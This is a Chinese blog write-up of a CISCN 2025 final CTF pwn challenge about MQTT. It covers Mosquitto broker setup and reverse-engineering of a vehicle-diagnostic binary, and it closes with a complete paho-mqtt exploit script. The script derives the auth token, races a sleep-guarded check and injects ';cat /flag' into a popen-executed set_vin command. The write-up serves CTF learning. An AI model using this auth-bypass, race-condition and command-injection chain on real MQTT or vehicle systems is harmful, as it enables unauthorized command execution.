mqtt 协议pwn入门(ciscn2025 final mqtt)

01.先发牢骚

第一次参加打进国赛的总决赛,早听闻过决赛会出一些工控和车联网类型的题目,也大致了解过有mqtt协议类型的pwn题,并使用python的paho库进行客户端交互,但在比赛前全网搜,没有搜出来现成的exp交互板子。。。(明明我前段时间才看到过,不知道是不是啥原因下架了)

再加上自己对mqtt以及车联网这块的东西非常不熟,导致决赛的时候交互的脚本出现了各种离谱的错误,通过赛后反复拷打AI,和自己本地调试研究,总算是搞懂了大体的交互逻辑和思路。可惜,比赛的时候我太菜了,这题被打烂了都没做出来。。。不然就一等奖了,感觉对不起队友,队里大手子都发力那么多了,还是没进国一,我太菜了55555~~  遗憾~

02.mqtt协议中的交互角色

a. broker

可以理解为提供mqtt服务的代理服务器,每个客户端都要连接它,通过subscribe(订阅)topic(主题),并在指定的topic上发布消息,所有与这个broker相连接的,订阅相同topic的client都能收到发布者客户端发布的消息。broker承担的主要就是一个中继器的作用,负责接受发布者的消息,并分发给订阅相同topic的client。

b. client

都需要连接到broker,通过给broker发布指定topic的消息,让其它订阅相同topic的client收到

示意图

client1,2,3,4同时连接broker,client1,2,3订阅topic"diag" ,这时client4发送topic为"diag" msg="hello"给broker,broker会向同时订阅topic="diag"的client1,2,3发送这个消息

03.服务环境搭建

1.使用安装 Mosquitto MQTT

sudo apt update
sudo apt install mosquitto mosquitto-clients

2. 启动服务并设置开机自启

sudo systemctl enable mosquitto
sudo systemctl start mosquitto

3.测试服务(在终端开两个窗口)

窗口1 订阅主题

mosquitto_sub -h localhost -t test/topic

窗口2 发布消息

mosquitto_pub -h localhost -t test/topic -m "Hello MQTT"

如果一切顺利,可以在窗口1中看到对应的消息

4.更改配置文件

sudo vim /etc/mosquitto/mosquitto.conf
listener 9999 #设置监听端口为 9999
allow_anonymous true  # 可选,允许匿名访问(默认)
sudo systemctl restart mosquitto # 重启服务

04.题目复盘

ciscn2025 mqtt

题目给压缩包看起来东西非常多,我一开始还怕像去年国赛的题目,需要手动patchelf调半天,但实际上只要放在一个文件夹下就可以直接运行

a. pwn文件逻辑分析

题目总体的符号表没去,逻辑也很清晰,这里做了些函数重命名

main函数


我们直接往下看关键点,getmessage函数做了什么


接着跟进start_routine函数,看看它做了什么

先做了鉴权,然后根据我们的cmd传入的值,执行不同的操作,arg是我们传入的参数


漏洞点存在于当cmd为set_vin的时候,存在明显的命令注入


b. auth与check_arg绕过

仔细分析逻辑可以知道,程序开始读了/mnt/VIN的文件内容,并将它赋值到dest全局变量中

在鉴权环节,会将我们的dest中的内容进行处理,给到s2,然后比对我们的auth和s2是否一致

image-20250723192445550


但在sub_1E1A中,会将dest的内容发布到 topic="diag/resp" 中,我们只需要在exp中接受dest,并采用sum2hex的处理方法计算出auth即可

image-20250723192651686


再来看看check_arg对我们的传入的参数做了哪些限制,反正我比赛的时候没看懂,靠猜了,估计是限制可见字符或者数字字母之类的。问问AI说是限制为数字和字母


注意到在每次检查通过进入if分支之后,有一个sleep(2),而我们的arg是一个全局变量,该回调函数又是通过线程创建,条件竞争race condition没跑了。。。


那么我们的思路就非常清晰了

  1. 计算auth

  2. race condition,首次构造arg为任意字母数字,通过check,再马上pulish_msg,将arg改成我们的指令

  3. 成功popen执行命令

c. exp 板子与坑点

说几个坑点吧,其实我比赛的时候也大致知道有这么个交互逻辑,但是种种细节没写对,导致连接远程的时候没有回显,我甚至一度怀疑是不是mqtt协议是经过魔改的,非paho标准实现,但是看到那么多人都写出来了,应该没有那么难,赛后也问了好多师傅,都是直接日远程就出了,哎还是自己太菜,细节把握和经验不够  (都是废话可以不看)

  1. subscribe要写到on_connect回调函数里头,反正我本机是要这样写,不然没回显,订阅不上

  2. on_message可以写一下,方便调试

  3. client.loop_start() 要加上

#! /usr/bin/python3
import random
from pwn import *
import time
import paho.mqtt.client as mqtt
import json
context(log_level = "debug",os = "linux",arch = "amd64")
pwnFile = "./pwn"
libcFile = "./libc.so.6"
ip = "127.0.0.1"
local = ""
local_port = 9999
port = 9999
elf = ELF(pwnFile)
libc = ELF(libcFile)
def debug(value):
    if value==1:
        io = process(pwnFile)
    else:
        io = remote(ip,port)
    return io


def dbg(msg=""):
    gdb.attach(io,msg)

def publish(client,topic,auth,cmd,arg):
    msg = {
        "auth":auth,
        "cmd":cmd,
        "arg":arg
    }
    result = client.publish(topic = topic, payload = json.dumps(msg))
    print(json.dumps(msg))
    print(result)
    return result

def on_connect(client, userdata, flags, rc):
    client.subscribe("vehicle_diag")
    client.subscribe("diag")
    client.subscribe("#")  # 订阅所有
    client.subscribe("diag/resp")
    print("Connected with result code " + str(rc))

def on_subscribe(client,userdata,mid,granted_qos):
    print("消息发送成功")

def on_message(client, userdata, msg):
    message = msg.payload.decode()# Decode message payload
    print(f"Received message on topic '{msg.topic}': {message}")
    # try:
    #     data = json.loads(message)  # 解析为字典
    #     dest = data.get("vin")  # 获取vin字段
    #     log.success("dest -> "+ dest)
    # except json.JSONDecodeError:
    #     print("JSON解析失败")
    print(message)

def sum2hex(dest):
    v3 = 0
    for i in range(len(dest)):
        v3 = (0x1f  * v3 +  ord(dest[i])) & 0xffffffff
    log.success(f"sum2hex -> {v3:08x}")
    return  f"{v3:08x}"


io = debug(0)
#gdb.attach(io,'b *$rebase(0x1EC0)')
topic = "diag"
client = mqtt.Client()

client.on_connect = on_connect
client.on_message = on_message
client.on_subscribe = on_subscribe
client.connect(host = "127.0.0.1",port = 9999,keepalive=10000)   




auth = sum2hex("test")

publish(client,"diag",auth,"set_vin","111111111111")
sleep(0.5)
publish(client,"diag",auth,"set_vin",";cat /flag")
publish(client,"diag",auth,"set_vin",";cat /flag")
sleep(1)

client.loop_start()

io.interactive()

d.本地效果

先启动pwn程序,连接broker,并注册回调函数

注意:pwn程序开始会有读文件,这个文件要手动创建一下

另一个控制台运行我们的exp,向broker发送相应主题的消息,broker转发给pwn程序,触发pwn程序中的线程处理

看到最终的效果如下vin文件中的值也被我们覆写了,如果比赛的时候覆写坏了,可以重新开一个docker

05.总结

根据去年的国赛和今年的国赛对比,不难得出一个结论,pwn题越来越往交互与调试方面去考察,而不是局限于传统的漏洞利用trick,堆栈溢出那种,当然今年也有,不过挺难的,再加上时间很紧,我没有做出来~,中山大学的大手子们太c了。期待wp狠狠学习一下,如果本文有误或者哪里不清晰,希望师傅们海涵。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值